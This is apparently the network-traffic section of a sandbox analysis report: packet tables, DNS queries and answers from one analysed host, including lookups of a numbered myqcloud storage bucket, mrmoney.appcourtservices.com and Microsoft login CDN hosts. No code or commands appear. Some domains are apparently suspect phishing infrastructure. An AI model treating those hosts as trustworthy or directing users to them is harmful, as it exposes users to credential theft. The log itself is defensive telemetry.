Dec 24, 2024 11:55:30.140762091 CET	49730	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:30.140779018 CET	49730	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:30.140819073 CET	443	49730	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:30.140836954 CET	49730	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:30.140875101 CET	49730	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:30.141191006 CET	49734	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:30.141231060 CET	443	49734	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:30.141335011 CET	49734	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:30.141532898 CET	49734	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:30.141547918 CET	443	49734	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:30.782216072 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:30.782568932 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:30.782579899 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:30.783473969 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:30.783638000 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:30.784807920 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:30.784892082 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:30.785007000 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:30.785012960 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:30.833724976 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:31.298559904 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:31.298643112 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:31.298693895 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:31.298707962 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:31.298721075 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:31.298783064 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:31.299433947 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:31.299448013 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:31.352706909 CET	443	49734	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:31.353069067 CET	49734	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:31.353080034 CET	443	49734	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:31.353362083 CET	443	49734	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:31.353741884 CET	49734	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:31.353807926 CET	443	49734	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:31.353974104 CET	49734	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:31.395329952 CET	443	49734	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:31.441942930 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:31.441992998 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:31.442070007 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:31.442368031 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:31.442382097 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:31.581711054 CET	49680	80	192.168.2.16	192.229.211.108
Dec 24, 2024 11:55:31.611767054 CET	443	49721	172.217.21.36	192.168.2.16
Dec 24, 2024 11:55:31.611871958 CET	443	49721	172.217.21.36	192.168.2.16
Dec 24, 2024 11:55:31.611941099 CET	49721	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:55:31.917826891 CET	49678	443	192.168.2.16	20.189.173.10
Dec 24, 2024 11:55:33.010469913 CET	443	49734	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:33.010554075 CET	443	49734	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:33.010627031 CET	49734	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:33.011511087 CET	49734	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:33.011521101 CET	443	49734	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:33.014225006 CET	49721	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:55:33.014250040 CET	443	49721	172.217.21.36	192.168.2.16
Dec 24, 2024 11:55:33.014590979 CET	49738	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:33.014635086 CET	443	49738	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:33.014724016 CET	49738	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:33.015055895 CET	49738	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:33.015073061 CET	443	49738	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:33.213542938 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:33.213885069 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:33.213912964 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:33.214767933 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:33.214921951 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:33.215121984 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:33.215177059 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:33.215287924 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:33.215301037 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:33.254738092 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:33.350795031 CET	49673	443	192.168.2.16	204.79.197.203
Dec 24, 2024 11:55:33.733083010 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:33.733215094 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:33.733259916 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:33.733262062 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:33.733299017 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:33.734193087 CET	49735	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:33.734217882 CET	443	49735	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:34.224813938 CET	443	49738	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:34.225132942 CET	49738	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:34.225167990 CET	443	49738	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:34.226042032 CET	443	49738	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:34.226114035 CET	49738	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:34.226414919 CET	49738	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:34.226432085 CET	49738	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:34.226473093 CET	443	49738	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:34.226492882 CET	49738	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:34.226530075 CET	49738	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:34.226954937 CET	49739	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:34.226988077 CET	443	49739	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:34.227081060 CET	49739	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:34.227377892 CET	49739	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:34.227396965 CET	443	49739	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:35.437218904 CET	443	49739	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:35.437505960 CET	49739	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:35.437520981 CET	443	49739	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:35.437803984 CET	443	49739	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:35.438105106 CET	49739	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:35.438158989 CET	443	49739	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:35.438271999 CET	49739	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:35.479332924 CET	443	49739	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:36.056860924 CET	443	49739	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:36.056927919 CET	443	49739	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:36.057019949 CET	49739	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:36.057874918 CET	49739	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:36.057892084 CET	443	49739	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:36.383765936 CET	49680	80	192.168.2.16	192.229.211.108
Dec 24, 2024 11:55:41.528753042 CET	49678	443	192.168.2.16	20.189.173.10
Dec 24, 2024 11:55:45.998804092 CET	49680	80	192.168.2.16	192.229.211.108
Dec 24, 2024 11:56:08.220006943 CET	49699	80	192.168.2.16	199.232.214.172
Dec 24, 2024 11:56:08.220211983 CET	49701	80	192.168.2.16	199.232.214.172
Dec 24, 2024 11:56:08.340873003 CET	80	49699	199.232.214.172	192.168.2.16
Dec 24, 2024 11:56:08.341063976 CET	49699	80	192.168.2.16	199.232.214.172
Dec 24, 2024 11:56:08.341254950 CET	80	49701	199.232.214.172	192.168.2.16
Dec 24, 2024 11:56:08.341392040 CET	49701	80	192.168.2.16	199.232.214.172
Dec 24, 2024 11:56:19.744082928 CET	49743	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:56:19.744173050 CET	443	49743	172.217.21.36	192.168.2.16
Dec 24, 2024 11:56:19.744280100 CET	49743	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:56:19.744504929 CET	49743	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:56:19.744543076 CET	443	49743	172.217.21.36	192.168.2.16
Dec 24, 2024 11:56:21.435381889 CET	443	49743	172.217.21.36	192.168.2.16
Dec 24, 2024 11:56:21.435689926 CET	49743	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:56:21.435715914 CET	443	49743	172.217.21.36	192.168.2.16
Dec 24, 2024 11:56:21.436197996 CET	443	49743	172.217.21.36	192.168.2.16
Dec 24, 2024 11:56:21.436471939 CET	49743	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:56:21.436557055 CET	443	49743	172.217.21.36	192.168.2.16
Dec 24, 2024 11:56:21.483905077 CET	49743	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:56:31.146018982 CET	443	49743	172.217.21.36	192.168.2.16
Dec 24, 2024 11:56:31.146210909 CET	443	49743	172.217.21.36	192.168.2.16
Dec 24, 2024 11:56:31.146280050 CET	49743	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:56:33.074620962 CET	49743	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:56:33.074657917 CET	443	49743	172.217.21.36	192.168.2.16
Dec 24, 2024 11:56:52.028278112 CET	49698	80	192.168.2.16	192.229.221.95
Dec 24, 2024 11:56:52.028434992 CET	49696	443	192.168.2.16	40.126.53.16
Dec 24, 2024 11:56:52.149059057 CET	80	49698	192.229.221.95	192.168.2.16
Dec 24, 2024 11:56:52.149180889 CET	49698	80	192.168.2.16	192.229.221.95
Dec 24, 2024 11:56:52.149421930 CET	443	49696	40.126.53.16	192.168.2.16
Dec 24, 2024 11:56:52.149483919 CET	49696	443	192.168.2.16	40.126.53.16
Dec 24, 2024 11:56:56.785444975 CET	49700	443	192.168.2.16	40.126.53.16
Dec 24, 2024 11:56:56.905570984 CET	443	49700	40.126.53.16	192.168.2.16
Dec 24, 2024 11:56:56.905685902 CET	49700	443	192.168.2.16	40.126.53.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 11:55:14.922133923 CET	65406	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:14.922316074 CET	49535	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:14.923672915 CET	52980	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:14.923835993 CET	60102	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:14.924098015 CET	64348	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:14.924213886 CET	57536	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:14.925338984 CET	50380	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:14.925463915 CET	51021	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:14.925980091 CET	58647	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:14.926096916 CET	59282	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:14.960767984 CET	53	55707	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:14.989648104 CET	53	61791	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.060364962 CET	53	49535	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.060477972 CET	53	52980	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.060770988 CET	53	60102	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.060800076 CET	53	64348	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.061158895 CET	53	65406	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.062570095 CET	53	51021	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.062642097 CET	53	57536	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.062886953 CET	53	60133	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.062979937 CET	53	50380	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.383754015 CET	53	58647	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:15.436952114 CET	53	59282	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:16.924241066 CET	64802	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:16.924376011 CET	51069	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:17.061192989 CET	53	64802	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:17.062405109 CET	53	51069	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:17.110675097 CET	51559	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:17.110951900 CET	59610	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:17.117330074 CET	65333	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:17.117516041 CET	58616	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:17.126698017 CET	65001	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:17.126898050 CET	50191	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:17.247423887 CET	53	51559	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:17.248378992 CET	53	59610	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:17.254101992 CET	53	65333	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:17.255477905 CET	53	58616	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:17.263921022 CET	53	50191	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:17.264272928 CET	53	65001	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:17.910468102 CET	53	63829	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:18.316865921 CET	53	59898	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:19.680095911 CET	58163	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:19.680285931 CET	58806	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:19.816598892 CET	53	58163	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:19.817500114 CET	53	58806	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:19.837799072 CET	54279	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:19.838004112 CET	55263	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:19.844945908 CET	57021	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:19.845098019 CET	52989	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:19.976031065 CET	53	54279	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:20.461513996 CET	53	55263	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:20.461738110 CET	53	52989	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:20.461747885 CET	53	57021	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:25.839210033 CET	60262	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:25.839420080 CET	62155	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:25.977020025 CET	53	60262	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:25.979125023 CET	53	62155	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:28.867090940 CET	53789	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:28.867239952 CET	64477	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:29.004090071 CET	53	53789	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:29.004519939 CET	53	64477	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:31.302656889 CET	49497	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:31.302819967 CET	60654	53	192.168.2.16	1.1.1.1
Dec 24, 2024 11:55:31.439805984 CET	53	49497	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:31.441313028 CET	53	60654	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:34.682933092 CET	53	54656	1.1.1.1	192.168.2.16
Dec 24, 2024 11:55:53.496819019 CET	53	58021	1.1.1.1	192.168.2.16
Dec 24, 2024 11:56:14.967627048 CET	53	55791	1.1.1.1	192.168.2.16
Dec 24, 2024 11:56:15.879961967 CET	53	59978	1.1.1.1	192.168.2.16
Dec 24, 2024 11:56:18.764256001 CET	138	138	192.168.2.16	192.168.2.255
Dec 24, 2024 11:56:46.340816975 CET	53	57070	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 24, 2024 11:55:20.461602926 CET	192.168.2.16	1.1.1.1	c253	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 11:55:14.922133923 CET	192.168.2.16	1.1.1.1	0xdaa9	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:14.922316074 CET	192.168.2.16	1.1.1.1	0x7413	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:14.923672915 CET	192.168.2.16	1.1.1.1	0x8881	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:14.923835993 CET	192.168.2.16	1.1.1.1	0xa32	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:14.924098015 CET	192.168.2.16	1.1.1.1	0xd7b1	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:14.924213886 CET	192.168.2.16	1.1.1.1	0x15b0	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:14.925338984 CET	192.168.2.16	1.1.1.1	0xbd74	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:14.925463915 CET	192.168.2.16	1.1.1.1	0xecc9	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:14.925980091 CET	192.168.2.16	1.1.1.1	0x4f1f	Standard query (0)	5889631857-1323985617.cos.na-siliconvalley.myqcloud.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:14.926096916 CET	192.168.2.16	1.1.1.1	0x564a	Standard query (0)	5889631857-1323985617.cos.na-siliconvalley.myqcloud.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:16.924241066 CET	192.168.2.16	1.1.1.1	0xa802	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:16.924376011 CET	192.168.2.16	1.1.1.1	0xc3fd	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:17.110675097 CET	192.168.2.16	1.1.1.1	0x17aa	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.110951900 CET	192.168.2.16	1.1.1.1	0xdd0a	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:17.117330074 CET	192.168.2.16	1.1.1.1	0x64e1	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.117516041 CET	192.168.2.16	1.1.1.1	0xb116	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:17.126698017 CET	192.168.2.16	1.1.1.1	0x9b39	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.126898050 CET	192.168.2.16	1.1.1.1	0x6be1	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:19.680095911 CET	192.168.2.16	1.1.1.1	0x1a09	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:19.680285931 CET	192.168.2.16	1.1.1.1	0xbba3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:19.837799072 CET	192.168.2.16	1.1.1.1	0xb024	Standard query (0)	5889631857-1323985617.cos.na-siliconvalley.myqcloud.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:19.838004112 CET	192.168.2.16	1.1.1.1	0xabc8	Standard query (0)	5889631857-1323985617.cos.na-siliconvalley.myqcloud.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:19.844945908 CET	192.168.2.16	1.1.1.1	0x878	Standard query (0)	mrmoney.appcourtservices.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:19.845098019 CET	192.168.2.16	1.1.1.1	0x22ab	Standard query (0)	mrmoney.appcourtservices.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:25.839210033 CET	192.168.2.16	1.1.1.1	0x9ae8	Standard query (0)	mrmoney.appcourtservices.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:25.839420080 CET	192.168.2.16	1.1.1.1	0x673b	Standard query (0)	mrmoney.appcourtservices.com	65	IN (0x0001)	false
Dec 24, 2024 11:55:28.867090940 CET	192.168.2.16	1.1.1.1	0xbfd6	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:28.867239952 CET	192.168.2.16	1.1.1.1	0x70f7	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 24, 2024 11:55:31.302656889 CET	192.168.2.16	1.1.1.1	0xb626	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:31.302819967 CET	192.168.2.16	1.1.1.1	0xb7c8	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 11:55:15.060477972 CET	1.1.1.1	192.168.2.16	0x8881	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.060477972 CET	1.1.1.1	192.168.2.16	0x8881	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.060770988 CET	1.1.1.1	192.168.2.16	0xa32	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 24, 2024 11:55:15.060800076 CET	1.1.1.1	192.168.2.16	0xd7b1	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.060800076 CET	1.1.1.1	192.168.2.16	0xd7b1	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.061158895 CET	1.1.1.1	192.168.2.16	0xdaa9	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.061158895 CET	1.1.1.1	192.168.2.16	0xdaa9	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.061158895 CET	1.1.1.1	192.168.2.16	0xdaa9	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.061158895 CET	1.1.1.1	192.168.2.16	0xdaa9	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.062570095 CET	1.1.1.1	192.168.2.16	0xecc9	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Dec 24, 2024 11:55:15.062642097 CET	1.1.1.1	192.168.2.16	0x15b0	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Dec 24, 2024 11:55:15.062979937 CET	1.1.1.1	192.168.2.16	0xbd74	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.062979937 CET	1.1.1.1	192.168.2.16	0xbd74	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.383754015 CET	1.1.1.1	192.168.2.16	0x4f1f	No error (0)	5889631857-1323985617.cos.na-siliconvalley.myqcloud.com	cos.na-siliconvalley.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:55:15.383754015 CET	1.1.1.1	192.168.2.16	0x4f1f	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.198	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.383754015 CET	1.1.1.1	192.168.2.16	0x4f1f	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.195	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:15.383754015 CET	1.1.1.1	192.168.2.16	0x4f1f	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.196	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.061192989 CET	1.1.1.1	192.168.2.16	0xa802	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.061192989 CET	1.1.1.1	192.168.2.16	0xa802	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.062405109 CET	1.1.1.1	192.168.2.16	0xc3fd	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 24, 2024 11:55:17.247423887 CET	1.1.1.1	192.168.2.16	0x17aa	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.247423887 CET	1.1.1.1	192.168.2.16	0x17aa	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.248378992 CET	1.1.1.1	192.168.2.16	0xdd0a	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Dec 24, 2024 11:55:17.254101992 CET	1.1.1.1	192.168.2.16	0x64e1	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.254101992 CET	1.1.1.1	192.168.2.16	0x64e1	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.255477905 CET	1.1.1.1	192.168.2.16	0xb116	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Dec 24, 2024 11:55:17.264272928 CET	1.1.1.1	192.168.2.16	0x9b39	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.264272928 CET	1.1.1.1	192.168.2.16	0x9b39	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.264272928 CET	1.1.1.1	192.168.2.16	0x9b39	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:17.264272928 CET	1.1.1.1	192.168.2.16	0x9b39	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:19.816598892 CET	1.1.1.1	192.168.2.16	0x1a09	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:55:19.817500114 CET	1.1.1.1	192.168.2.16	0xbba3	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 24, 2024 11:55:19.976031065 CET	1.1.1.1	192.168.2.16	0xb024	No error (0)	5889631857-1323985617.cos.na-siliconvalley.myqcloud.com	cos.na-siliconvalley.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
